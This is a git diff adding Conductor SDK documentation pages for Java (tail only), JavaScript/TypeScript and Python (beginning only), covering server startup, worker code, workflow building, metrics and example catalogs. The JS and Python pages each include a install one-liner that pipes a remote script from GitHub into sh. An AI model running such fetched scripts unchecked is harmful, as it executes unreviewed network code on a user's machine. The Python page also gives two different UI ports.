[Examples](https://github.com/conductor-oss/java-sdk/blob/main/examples/README.md) | Complete examples catalog | + +## Support + +- [Open an issue (SDK)](https://github.com/conductor-oss/conductor-java-sdk/issues) for SDK bugs, questions, and feature requests +- [Open an issue (Conductor server)](https://github.com/conductor-oss/conductor/issues) for Conductor OSS server issues +- [Join the Conductor Slack](https://join.slack.com/t/orkes-conductor/shared_invite/zt-2vdbx239s-Eacdyqya9giNLHfrCavfaA) for community discussion and help +- [Orkes Community Forum](https://community.orkes.io/) for Q&A + +## Frequently Asked Questions + +**Is this the same as Netflix Conductor?** + +Yes. Conductor OSS is the continuation of the original [Netflix Conductor](https://github.com/Netflix/conductor) repository after Netflix contributed the project to the open-source foundation. + +**Is this project actively maintained?** + +Yes. [Orkes](https://orkes.io) is the primary maintainer and offers an enterprise SaaS platform for Conductor across all major cloud providers. + +**Can Conductor scale to handle my workload?** + +Conductor was built at Netflix to handle massive scale and has been battle-tested in production environments processing millions of workflows. It scales horizontally to meet virtually any demand. + +**Does Conductor support durable code execution?** + +Yes. Conductor ensures workflows complete reliably even in the face of infrastructure failures, process crashes, or network issues. + +**Are workflows always asynchronous?** + +No. While Conductor excels at asynchronous orchestration, it also supports synchronous workflow execution when immediate results are required. + +**Do I need to use a Conductor-specific framework?** + +No. Conductor is language and framework agnostic. Use your preferred language and framework -- the [SDKs](https://github.com/conductor-oss/conductor#conductor-sdks) provide native integration for Python, Java, JavaScript, Go, C#, and more. + +**Can I mix workers written in different languages?** + +Yes. A single workflow can have workers written in Python, Java, Go, or any other supported language. Workers communicate through the Conductor server, not directly with each other. + +**What Java versions are supported?** + +Java 17 and above. + +**Should I use Worker interface or @WorkerTask annotation?** + +Use `@WorkerTask` annotation for simpler, cleaner code -- input parameters are automatically mapped and return values become task output. Use the `Worker` interface when you need full control over task execution, access to task metadata, or custom error handling. + +**How do I run workers in production?** + +Workers are standard Java applications. Deploy them as you would any Java application -- in containers, VMs, or bare metal. Workers poll the Conductor server for tasks, so no inbound ports need to be opened. + +**How do I test workflows without running a full Conductor server?** + +The SDK provides a test framework that uses Conductor's `POST /api/workflow/test` endpoint to evaluate workflows with mock task outputs. See [Testing Framework](https://github.com/conductor-oss/java-sdk/blob/main/java-sdk/testing_framework.md) for details. + +## License + +Apache 2.0 + + +## Examples + +Browse all examples on GitHub: [conductor-oss/java-sdk/examples](https://github.com/conductor-oss/java-sdk/tree/main/examples) + +| Example | Type | +|---|---| +| [Readme](https://github.com/conductor-oss/java-sdk/blob/main/examples/README.md) | file | +| [Examples](https://github.com/conductor-oss/java-sdk/tree/main/examples) | directory | diff --git a/docs/documentation/clientsdks/js-sdk.md b/docs/documentation/clientsdks/js-sdk.md new file mode 100644 index 0000000..818a3c4 --- /dev/null +++ b/docs/documentation/clientsdks/js-sdk.md @@ -0,0 +1,561 @@ +--- +description: "Build Conductor workers in JavaScript/TypeScript with workflow management and task polling." +--- + +# JavaScript SDK + +!!! info "Source" + GitHub: [conductor-oss/javascript-sdk](https://github.com/conductor-oss/javascript-sdk) | Report issues and contribute on GitHub. + +## Start Conductor server + +If you don't already have a Conductor server running, pick one: + +**Docker (recommended, includes UI):** + +```shell +docker run -p 8080:8080 conductoross/conductor:latest +``` + +The UI will be available at `http://localhost:8080` and the API at `http://localhost:8080/api`. + +**MacOS / Linux (one-liner):** + +```shell +curl -sSL https://raw.githubusercontent.com/conductor-oss/conductor/main/conductor_server.sh | sh +``` + +**Conductor CLI:** + +```shell +npm install -g @conductor-oss/conductor-cli +conductor server start +``` + +## Install the SDK + +```shell +npm install @io-orkes/conductor-javascript +``` + +## 60-Second Quickstart + +**Step 1: Create a workflow** + +Workflows are definitions that reference task types. We'll build a workflow called `greetings` that runs one worker task and returns its output. + +```typescript +import { ConductorWorkflow, simpleTask } from "@io-orkes/conductor-javascript"; + +const workflow = new ConductorWorkflow(executor, "greetings") + .add(simpleTask("greet_ref", "greet", { name: "${workflow.input.name}" })) + .outputParameters({ result: "${greet_ref.output.result}" }); + +await workflow.register(); +``` + +**Step 2: Write a worker** + +Workers are TypeScript functions decorated with `@worker` that poll Conductor for tasks and execute them. + +```typescript +import { worker } from "@io-orkes/conductor-javascript"; + +@worker({ taskDefName: "greet" }) +async function greet(task: Task) { + return { + status: "COMPLETED", + outputData: { result: `Hello ${task.inputData.name}` }, + }; +} +``` + +**Step 3: Run your first workflow app** + +Create a `quickstart.ts` with the following: + +```typescript +import { + OrkesClients, + ConductorWorkflow, + TaskHandler, + worker, + simpleTask, +} from "@io-orkes/conductor-javascript"; +import type { Task } from "@io-orkes/conductor-javascript"; + +// A worker is any TypeScript function. +@worker({ taskDefName: "greet" }) +async function greet(task: Task) { + return { + status: "COMPLETED" as const, + outputData: { result: `Hello ${task.inputData.name}` }, + }; +} + +async function main() { + // Configure the SDK (reads CONDUCTOR_SERVER_URL / CONDUCTOR_AUTH_* from env). + const clients = await OrkesClients.from(); + const executor = clients.getWorkflowClient(); + + // Build a workflow with the fluent builder. + const workflow = new ConductorWorkflow(executor, "greetings") + .add(simpleTask("greet_ref", "greet", { name: "${workflow.input.name}" })) + .outputParameters({ result: "${greet_ref.output.result}" }); + + await workflow.register(); + + // Start polling for tasks (auto-discovers @worker decorated functions). + const handler = new TaskHandler({ + client: clients.getClient(), + scanForDecorated: true, + }); + await handler.startWorkers(); + + // Run the workflow and get the result. + const run = await workflow.execute({ name: "Conductor" }); + console.log(`result: ${run.output?.result}`); + + await handler.stopWorkers(); +} + +main(); +``` + +Run it: + +```shell +export CONDUCTOR_SERVER_URL=http://localhost:8080 +npx ts-node quickstart.ts +``` + +> ### Using Orkes Conductor / Remote Server? +> Export your authentication credentials: +> +> ```shell +> export CONDUCTOR_SERVER_URL="https://your-cluster.orkesconductor.io/api" +> export CONDUCTOR_AUTH_KEY="your-key" +> export CONDUCTOR_AUTH_SECRET="your-secret" +> ``` + +That's it — you defined a worker, built a workflow, and executed it. Open the Conductor UI (default: [http://localhost:8080](http://localhost:8080)) to see the execution. + +## What You Can Build + +The SDK provides typed builders for common orchestration patterns. Here's a taste of what you can wire together: + +**HTTP calls from workflows** — call any API without writing a worker ([kitchensink.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/kitchensink.ts)): + +```typescript +httpTask("call_api", { + uri: "https://api.example.com/orders/${workflow.input.orderId}", + method: "POST", + body: { items: "${workflow.input.items}" }, + headers: { "Authorization": "Bearer ${workflow.input.token}" }, +}) +``` + +**Wait between tasks** — pause a workflow for a duration or until a timestamp ([kitchensink.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/kitchensink.ts)): + +```typescript +.add(simpleTask("step1_ref", "process_order", {...})) +.add(waitTaskDuration("cool_down", "10s")) // wait 10 seconds +.add(simpleTask("step2_ref", "send_confirmation", {...})) +``` + +**Parallel execution (fork/join)** — fan out to multiple branches and join ([fork-join.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/advanced/fork-join.ts)): + +```typescript +workflow.fork([ + [simpleTask("email_ref", "send_email", {})], + [simpleTask("sms_ref", "send_sms", {})], + [simpleTask("push_ref", "send_push", {})], +]) +``` + +**Conditional branching** — route based on input values ([kitchensink.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/kitchensink.ts)): + +```typescript +switchTask("route_ref", "${workflow.input.tier}", { + premium: [simpleTask("fast_ref", "fast_track", {})], + standard: [simpleTask("normal_ref", "standard_process", {})], +}) +``` + +**Sub-workflows** — compose workflows from smaller workflows ([sub-workflows.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/advanced/sub-workflows.ts)): + +```typescript +const child = new ConductorWorkflow(executor, "payment_flow").add(...); +const parent = new ConductorWorkflow(executor, "order_flow") + .add(child.toSubWorkflowTask("pay_ref")); +``` + +All of these are type-safe, composable, and registered to the server as JSON — workers can be in any language. + +## Workers + +Workers are TypeScript functions that execute Conductor tasks. Decorate any function with `@worker` to register it as a worker (auto-discovered by `TaskHandler`) and use it as a workflow task. + +```typescript +import { worker, TaskHandler } from "@io-orkes/conductor-javascript"; + +@worker({ taskDefName: "greet", concurrency: 5, pollInterval: 100 }) +async function greet(task: Task) { + return { + status: "COMPLETED", + outputData: { result: `Hello ${task.inputData.name}` }, + }; +} + +@worker({ taskDefName: "process_payment", domain: "payments" }) +async function processPayment(task: Task) { + const result = await paymentGateway.charge(task.inputData.customerId, task.inputData.amount); + return { status: "COMPLETED", outputData: { transactionId: result.id } }; +} + +// Auto-discover and start all decorated workers +const handler = new TaskHandler({ client, scanForDecorated: true }); +await handler.startWorkers(); + +// Graceful shutdown +process.on("SIGTERM", async () => { + await handler.stopWorkers(); + process.exit(0); +}); +``` + +**Worker configuration:** + +```typescript +@worker({ + taskDefName: "my_task", // Required: task name + concurrency: 5, // Max concurrent tasks (default: 1) + pollInterval: 100, // Polling interval in ms (default: 100) + domain: "production", // Task domain for multi-tenancy + workerId: "worker-123", // Unique worker identifier +}) +``` + +**Environment variable overrides** (no code changes needed): + +```shell +# Global (all workers) +export CONDUCTOR_WORKER_ALL_POLL_INTERVAL=500 +export CONDUCTOR_WORKER_ALL_CONCURRENCY=10 + +# Per-worker override +export CONDUCTOR_WORKER_SEND_EMAIL_CONCURRENCY=20 +export CONDUCTOR_WORKER_PROCESS_PAYMENT_DOMAIN=payments +``` + +**NonRetryableException** — mark failures as terminal to prevent retries: + +```typescript +import { NonRetryableException } from "@io-orkes/conductor-javascript"; + +@worker({ taskDefName: "validate_order" }) +async function validateOrder(task: Task) { + const order = await getOrder(task.inputData.orderId); + if (!order) { + throw new NonRetryableException("Order not found"); // FAILED_WITH_TERMINAL_ERROR + } + return { status: "COMPLETED", outputData: { validated: true } }; +} +``` + +- `throw new Error()` → Task status: `FAILED` (will retry) +- `throw new NonRetryableException()` → Task status: `FAILED_WITH_TERMINAL_ERROR` (no retry) + +**Long-running tasks with TaskContext** — return `IN_PROGRESS` to keep a task alive while an external process completes. Conductor will call back after the specified interval ([task-context.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/task-context.ts)): + +```typescript +import { worker, getTaskContext } from "@io-orkes/conductor-javascript"; + +@worker({ taskDefName: "process_video" }) +async function processVideo(task: Task) { + const ctx = getTaskContext(); + ctx?.addLog("Starting video processing..."); + + if (!isComplete(task.inputData)) { + ctx?.setCallbackAfter(30); // check again in 30 seconds + return { status: "IN_PROGRESS", callbackAfterSeconds: 30 }; + } + + return { status: "COMPLETED", outputData: { url: "..." } }; +} +``` + +`TaskContext` is also available for one-shot workers — use `ctx?.addLog()` to stream logs visible in the Conductor UI. + +**Event listeners** for observability: + +```typescript +const handler = new TaskHandler({ + client, + scanForDecorated: true, + eventListeners: [{ + onTaskExecutionCompleted(event) { + metrics.histogram("task_duration_ms", event.durationMs, { task_type: event.taskType }); + }, + onTaskUpdateFailure(event) { + alertOps({ severity: "CRITICAL", message: `Task update failed`, taskId: event.taskId }); + }, + }], +}); +``` + +**Organize workers across files** with module imports: + +```typescript +const handler = await TaskHandler.create({ + client, + importModules: ["./workers/orderWorkers", "./workers/paymentWorkers"], +}); +await handler.startWorkers(); +``` + +**Legacy TaskManager API** continues to work with full backward compatibility. New projects should use `@worker` + `TaskHandler` above. + +## Monitoring Workers + +Enable Prometheus metrics with the built-in `MetricsCollector`: + +```typescript +import { MetricsCollector, MetricsServer, TaskHandler } from "@io-orkes/conductor-javascript"; + +const metrics = new MetricsCollector(); +const server = new MetricsServer(metrics, 9090); +await server.start(); + +const handler = new TaskHandler({ + client, + eventListeners: [metrics], + scanForDecorated: true, +}); +await handler.startWorkers(); +// GET http://localhost:9090/metrics — Prometheus text format +// GET http://localhost:9090/health — {"status":"UP"} +``` + +Collects 18 metric types: poll counts, execution durations, error rates, output sizes, and more — with p50/p75/p90/p95/p99 quantiles. See [METRICS.md](https://github.com/conductor-oss/javascript-sdk/blob/main/METRICS.md) for the full reference. + +## Managing Workflow Executions + +Once a workflow is registered (see [What You Can Build](#what-you-can-build)), you can run and manage it through the full lifecycle: + +```typescript +const executor = clients.getWorkflowClient(); + +// Start (async — returns immediately) +const workflowId = await executor.startWorkflow({ + name: "order_flow", + input: { orderId: "ORDER-123" }, +}); + +// Execute (sync — waits for completion) +const result = await workflow.execute({ orderId: "123" }); + +// Lifecycle management +await executor.pause(workflowId); +await executor.resume(workflowId); +await executor.terminate(workflowId, "cancelled by user"); +await executor.restart(workflowId); +await executor.retry(workflowId); + +// Signal a running WAIT task +await executor.signal(workflowId, TaskResultStatusEnum.COMPLETED, { approved: true }); + +// Search workflows +const results = await executor.search("workflowType = 'order_flow' AND status = 'RUNNING'"); +``` + +See [workflow-ops.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/workflow-ops.ts) for a runnable example covering all lifecycle operations. + +## Troubleshooting + +- **Worker stops polling or crashes:** `TaskHandler` monitors and restarts worker polling loops by default. Expose a health check using `handler.running` and `handler.runningWorkerCount`. If you enable metrics, alert on `worker_restart_total`. +- **HTTP/2 connection errors:** The SDK uses Undici for HTTP/2 when available. If your environment has unstable long-lived connections, the SDK falls back to HTTP/1.1 automatically. You can also provide a custom fetch function: `orkesConductorClient(config, myFetch)`. +- **Task stuck in SCHEDULED:** Ensure your worker is polling for the correct `taskDefName`. Workers must be started before the workflow is executed. + +## Examples + +See the [Examples Guide](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/README.md) for the full catalog. Key examples: + +| Example | Description | Run | +|---------|-------------|-----| +| [workers-e2e.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/workers-e2e.ts) | End-to-end: 3 chained workers with verification | `npx ts-node examples/workers-e2e.ts` | +| [quickstart.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/quickstart.ts) | 60-second intro: @worker + workflow + execute | `npx ts-node examples/quickstart.ts` | +| [kitchensink.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/kitchensink.ts) | All major task types in one workflow | `npx ts-node examples/kitchensink.ts` | +| [workflow-ops.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/workflow-ops.ts) | Lifecycle: pause, resume, terminate, retry, search | `npx ts-node examples/workflow-ops.ts` | +| [test-workflows.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/test-workflows.ts) | Unit testing with mock outputs (no workers) | `npx ts-node examples/test-workflows.ts` | +| [metrics.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/metrics.ts) | Prometheus metrics + HTTP server on :9090 | `npx ts-node examples/metrics.ts` | +| [express-worker-service.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/express-worker-service.ts) | Express.js + workers in one process | `npx ts-node examples/express-worker-service.ts` | +| [function-calling.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/agentic-workflows/function-calling.ts) | LLM dynamically picks which worker to call | `npx ts-node examples/agentic-workflows/function-calling.ts` | +| [fork-join.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/advanced/fork-join.ts) | Parallel branches with join synchronization | `npx ts-node examples/advanced/fork-join.ts` | +| [sub-workflows.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/advanced/sub-workflows.ts) | Workflow composition with sub-workflows | `npx ts-node examples/advanced/sub-workflows.ts` | +| [human-tasks.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/advanced/human-tasks.ts) | Human-in-the-loop: claim, update, complete | `npx ts-node examples/advanced/human-tasks.ts` | + +## API Journey Examples + +End-to-end examples covering all APIs for each domain: + +| Example | APIs | Run | +|---------|------|-----| +| [authorization.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/api-journeys/authorization.ts) | Authorization APIs (17 calls) | `npx ts-node examples/api-journeys/authorization.ts` | +| [metadata.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/api-journeys/metadata.ts) | Metadata APIs (21 calls) | `npx ts-node examples/api-journeys/metadata.ts` | +| [prompts.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/api-journeys/prompts.ts) | Prompt APIs (9 calls) | `npx ts-node examples/api-journeys/prompts.ts` | +| [schedules.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/api-journeys/schedules.ts) | Schedule APIs (13 calls) | `npx ts-node examples/api-journeys/schedules.ts` | +| [secrets.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/api-journeys/secrets.ts) | Secret APIs (12 calls) | `npx ts-node examples/api-journeys/secrets.ts` | +| [integrations.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/api-journeys/integrations.ts) | Integration APIs (22 calls) | `npx ts-node examples/api-journeys/integrations.ts` | +| [schemas.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/api-journeys/schemas.ts) | Schema APIs (10 calls) | `npx ts-node examples/api-journeys/schemas.ts` | +| [applications.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/api-journeys/applications.ts) | Application APIs (20 calls) | `npx ts-node examples/api-journeys/applications.ts` | +| [event-handlers.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/api-journeys/event-handlers.ts) | Event Handler APIs (18 calls) | `npx ts-node examples/api-journeys/event-handlers.ts` | + +## AI & LLM Workflows + +Conductor supports AI-native workflows including agentic tool calling, RAG pipelines, and multi-agent orchestration. The SDK provides typed builders for all LLM task types: + +| Builder | Description | +|---------|-------------| +| `llmChatCompleteTask` | LLM chat completion (OpenAI, Anthropic, etc.) | +| `llmTextCompleteTask` | Text completion | +| `llmGenerateEmbeddingsTask` | Generate vector embeddings | +| `llmIndexDocumentTask` | Index a document into a vector store | +| `llmIndexTextTask` | Index text into a vector store | +| `llmSearchIndexTask` | Search a vector index | +| `llmSearchEmbeddingsTask` | Search by embedding similarity | +| `llmStoreEmbeddingsTask` | Store pre-computed embeddings | +| `llmQueryEmbeddingsTask` | Query embeddings | +| `generateImageTask` | Generate images | +| `generateAudioTask` | Generate audio | +| `callMcpToolTask` | Call an MCP tool | +| `listMcpToolsTask` | List available MCP tools | + +**Example: LLM chat workflow** + +```typescript +import { ConductorWorkflow, llmChatCompleteTask, Role } from "@io-orkes/conductor-javascript"; + +const workflow = new ConductorWorkflow(executor, "ai_chat") + .add(llmChatCompleteTask("chat_ref", "openai", "gpt-4o", { + messages: [{ role: Role.USER, message: "${workflow.input.question}" }], + temperature: 0.7, + maxTokens: 500, + })) + .outputParameters({ answer: "${chat_ref.output.result}" }); + +await workflow.register(); +const run = await workflow.execute({ question: "What is Conductor?" }); +console.log(run.output?.answer); +``` + +**Agentic Workflows** + +Build AI agents where LLMs dynamically select and call TypeScript workers as tools. +See [examples/agentic-workflows/](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/agentic-workflows/) for all examples. + +| Example | Description | +|---------|-------------| +| [llm-chat.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/agentic-workflows/llm-chat.ts) | Automated multi-turn conversation between two LLMs | +| [llm-chat-human-in-loop.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/agentic-workflows/llm-chat-human-in-loop.ts) | Interactive chat with WAIT tasks for human input | +| [function-calling.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/agentic-workflows/function-calling.ts) | LLM dynamically picks which worker function to call | +| [mcp-weather-agent.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/agentic-workflows/mcp-weather-agent.ts) | MCP tool discovery and invocation for real-time data | +| [multiagent-chat.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/agentic-workflows/multiagent-chat.ts) | Multi-agent debate: optimist vs skeptic with moderator | + +**RAG and Vector DB Workflows** + +| Example | Description | +|---------|-------------| +| [rag-workflow.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/advanced/rag-workflow.ts) | End-to-end RAG: document indexing → semantic search → LLM answer | +| [vector-db.ts](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/advanced/vector-db.ts) | Vector DB operations: embedding generation, storage, search | + +## Documentation + +| Document | Description | +|----------|-------------| +| [SDK Development Guide](https://github.com/conductor-oss/javascript-sdk/blob/main/SDK_DEVELOPMENT.md) | Architecture, patterns, pitfalls, testing | +| [Metrics Reference](https://github.com/conductor-oss/javascript-sdk/blob/main/METRICS.md) | All 18 Prometheus metrics with descriptions | +| [Breaking Changes](https://github.com/conductor-oss/javascript-sdk/blob/main/BREAKING_CHANGES.md) | v3.x migration guide | +| [Workflow Management](https://github.com/conductor-oss/javascript-sdk/blob/main/docs/api-reference/workflow-executor.md) | Start, pause, resume, terminate, retry, search, signal | +| [Task Management](https://github.com/conductor-oss/javascript-sdk/blob/main/docs/api-reference/task-client.md) | Task operations, logs, queue management | +| [Metadata](https://github.com/conductor-oss/javascript-sdk/blob/main/docs/api-reference/metadata-client.md) | Task & workflow definitions, tags, rate limits | +| [Scheduling](https://github.com/conductor-oss/javascript-sdk/blob/main/docs/api-reference/scheduler-client.md) | Workflow scheduling with CRON expressions | +| [Applications](https://github.com/conductor-oss/javascript-sdk/blob/main/docs/api-reference/application-client.md) | Application management, access keys, roles | +| [Events](https://github.com/conductor-oss/javascript-sdk/blob/main/docs/api-reference/event-client.md) | Event handlers, event-driven workflows | +| [Human Tasks](https://github.com/conductor-oss/javascript-sdk/blob/main/docs/api-reference/human-executor.md) | Human-in-the-loop workflows, form templates | +| [Service Registry](https://github.com/conductor-oss/javascript-sdk/blob/main/docs/api-reference/service-registry-client.md) | Service discovery, circuit breakers | + +## Support + +- [Open an issue (SDK)](https://github.com/conductor-oss/javascript-sdk/issues) for SDK bugs, questions, and feature requests +- [Open an issue (Conductor server)](https://github.com/conductor-oss/conductor/issues) for Conductor OSS server issues +- [Join the Conductor Slack](https://join.slack.com/t/orkes-conductor/shared_invite/zt-2vdbx239s-Eacdyqya9giNLHfrCavfaA) for community discussion and help +- [Orkes Community Forum](https://community.orkes.io/) for Q&A + +## Frequently Asked Questions + +**Is this the same as Netflix Conductor?** + +Yes. Conductor OSS is the continuation of the original [Netflix Conductor](https://github.com/Netflix/conductor) repository after Netflix contributed the project to the open-source foundation. + +**Is this project actively maintained?** + +Yes. [Orkes](https://orkes.io) is the primary maintainer and offers an enterprise SaaS platform for Conductor across all major cloud providers. + +**Can Conductor scale to handle my workload?** + +Conductor was built at Netflix to handle massive scale and has been battle-tested in production environments processing millions of workflows. It scales horizontally to meet virtually any demand. + +**What Node.js versions are supported?** + +Node.js 18 and above. + +**Should I use `@worker` decorator or the legacy `TaskManager`?** + +Use `@worker` + `TaskHandler` for all new projects. It provides auto-discovery, cleaner code, and better TypeScript integration. The legacy `TaskManager` API is maintained for backward compatibility. + +**Can I mix workers written in different languages?** + +Yes. A single workflow can have workers written in TypeScript, Python, Java, Go, or any other supported language. Workers communicate through the Conductor server, not directly with each other. + +**How do I run workers in production?** + +Workers are standard Node.js processes. Deploy them as you would any Node.js application — in containers, VMs, or serverless. Workers poll the Conductor server for tasks, so no inbound ports need to be opened. + +**How do I test workflows without running a full Conductor server?** + +The SDK provides `testWorkflow()` on `WorkflowExecutor` that uses Conductor's `POST /api/workflow/test` endpoint to evaluate workflows with mock task outputs. + +**Does the SDK support HTTP/2?** + +Yes. When the optional `undici` package is installed (`npm install undici`), the SDK automatically uses HTTP/2 with connection pooling for better performance. + +## License + +Apache 2.0 + + +## Examples + +Browse all examples on GitHub: [conductor-oss/javascript-sdk/examples](https://github.com/conductor-oss/javascript-sdk/tree/main/examples) + +| Example | Type | +|---|---| +| [Readme](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/README.md) | file | +| [Advanced](https://github.com/conductor-oss/javascript-sdk/tree/main/examples/advanced) | directory | +| [Agentic Workflows](https://github.com/conductor-oss/javascript-sdk/tree/main/examples/agentic-workflows) | directory | +| [Api Journeys](https://github.com/conductor-oss/javascript-sdk/tree/main/examples/api-journeys) | directory | +| [Dynamic Workflow](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/dynamic-workflow.ts) | file | +| [Event Listeners](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/event-listeners.ts) | file | +| [Express Worker Service](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/express-worker-service.ts) | file | +| [Helloworld](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/helloworld.ts) | file | +| [Kitchensink](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/kitchensink.ts) | file | +| [Metrics](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/metrics.ts) | file | +| [Perf Test](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/perf-test.ts) | file | +| [Quickstart](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/quickstart.ts) | file | +| [Task Configure](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/task-configure.ts) | file | +| [Task Context](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/task-context.ts) | file | +| [Test Workflows](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/test-workflows.ts) | file | +| [Worker Configuration](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/worker-configuration.ts) | file | +| [Workers E2E](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/workers-e2e.ts) | file | +| [Workflow Ops](https://github.com/conductor-oss/javascript-sdk/blob/main/examples/workflow-ops.ts) | file | diff --git a/docs/documentation/clientsdks/python-sdk.md b/docs/documentation/clientsdks/python-sdk.md new file mode 100644 index 0000000..98dac7a --- /dev/null +++ b/docs/documentation/clientsdks/python-sdk.md @@ -0,0 +1,514 @@ +--- +description: "Build Conductor workers in Python with decorator-based task definitions, async support, and workflow management." +--- + +# Python SDK + +!!! info "Source" + GitHub: [conductor-oss/python-sdk](https://github.com/conductor-oss/python-sdk) | Report issues and contribute on GitHub. + +## Start Conductor Server + +If you don't already have a Conductor server running, pick one: + +**Docker Compose (recommended, includes UI):** + +```shell +docker run -p 8080:8080 conductoross/conductor:latest +``` +The UI will be available at `http://localhost:8080` and the API at `http://localhost:8080/api` + +**MacOS / Linux (one-liner):** (If you don't want to use docker, you can install and run the binary directly) +```shell +curl -sSL https://raw.githubusercontent.com/conductor-oss/conductor/main/conductor_server.sh | sh +``` + +**Conductor CLI** +```shell +# Installs conductor cli +npm install -g @conductor-oss/conductor-cli + +# Start the open source conductor server +conductor server start +# see conductor server --help for all the available commands +``` + +## Install the SDK + +```shell +pip install conductor-python +``` + +## 60-Second Quickstart + +**Step 1: Create a workflow** + +Workflows are definitions that reference task types (e.g. a SIMPLE task called `greet`). We'll build a workflow called +`greetings` that runs one task and returns its output. + +Assuming you have a `WorkflowExecutor` (`executor`) and a worker task (`greet`): + +```python +from conductor.client.workflow.conductor_workflow import ConductorWorkflow + +workflow = ConductorWorkflow(name='greetings', version=1, executor=executor) +greet_task = greet(task_ref_name='greet_ref', name=workflow.input('name')) +workflow >> greet_task +workflow.output_parameters({'result': greet_task.output('result')}) +workflow.register(overwrite=True) +``` + +**Step 2: Write a worker** + +Workers are just Python functions decorated with `@worker_task` that poll Conductor for tasks and execute them. + +```python +from conductor.client.worker.worker_task import worker_task + +# register_task_def=True is convenient for local dev quickstarts; in production, manage task definitions separately. +@worker_task(task_definition_name='greet', register_task_def=True) +def greet(name: str) -> str: + return f'Hello {name}' +``` + +**Step 3: Run your first workflow app** + +Create a `quickstart.py` with the following: + +```python +from conductor.client.automator.task_handler import TaskHandler +from conductor.client.configuration.configuration import Configuration +from conductor.client.orkes_clients import OrkesClients +from conductor.client.workflow.conductor_workflow import ConductorWorkflow +from conductor.client.worker.worker_task import worker_task + + +# A worker is any Python function. +@worker_task(task_definition_name='greet', register_task_def=True) +def greet(name: str) -> str: + return f'Hello {name}' + + +def main(): + # Configure the SDK (reads CONDUCTOR_SERVER_URL / CONDUCTOR_AUTH_* from env). + config = Configuration() + + clients = OrkesClients(configuration=config) + executor = clients.get_workflow_executor() + + # Build a workflow with the >> operator. + workflow = ConductorWorkflow(name='greetings', version=1, executor=executor) + greet_task = greet(task_ref_name='greet_ref', name=workflow.input('name')) + workflow >> greet_task + workflow.output_parameters({'result': greet_task.output('result')}) + workflow.register(overwrite=True) + + # Start polling for tasks (one worker subprocess per worker function). + with TaskHandler(configuration=config, scan_for_annotated_workers=True) as task_handler: + task_handler.start_processes() + + # Run the workflow and get the result. + run = executor.execute(name='greetings', version=1, workflow_input={'name': 'Conductor'}) + print(f'result: {run.output["result"]}') + print(f'execution: {config.ui_host}/execution/{run.workflow_id}') + + +if __name__ == '__main__': + main() +``` + +Run it: + +```shell +python quickstart.py +``` + +> ### Using Orkes Conductor / Remote Server? +> Export your authentication credentials as well: +> +> ```shell +> export CONDUCTOR_SERVER_URL="https://your-cluster.orkesconductor.io/api" +> +> # If using Orkes Conductor that requires auth key/secret +> export CONDUCTOR_AUTH_KEY="your-key" +> export CONDUCTOR_AUTH_SECRET="your-secret" +> +> # Optional — set to false to force HTTP/1.1 if your network environment has unstable long-lived HTTP/2 connections (default: true) +> # export CONDUCTOR_HTTP2_ENABLED=false +> ``` +> See the [Worker Configuration](https://github.com/conductor-oss/python-sdk/blob/main/WORKER_CONFIGURATION.md) guide for details. + +That's it — you just defined a worker, built a workflow, and executed it. Open the Conductor UI (default: +[http://localhost:8127](http://localhost:8127)) to see the execution. + +--- + +## Feature Showcase + +### Workers: Sync and Async + +The SDK automatically selects the right runner based on your function signature — `TaskRunner` (thread pool) for sync functions, `AsyncTaskRunner` (event loop) for async. + +```python +from conductor.client.worker.worker_task import worker_task + +# Sync worker — for CPU-bound work (uses ThreadPoolExecutor) +@worker_task(task_definition_name='process_image', thread_count=4) +def process_image(image_url: str) -> dict: + import PIL.Image, io, requests + img = PIL.Image.open(io.BytesIO(requests.get(image_url).content)) + img.thumbnail((256, 256)) + return {'width': img.width, 'height': img.height} + + +# Async worker — for I/O-bound work (uses AsyncTaskRunner, no thread overhead) 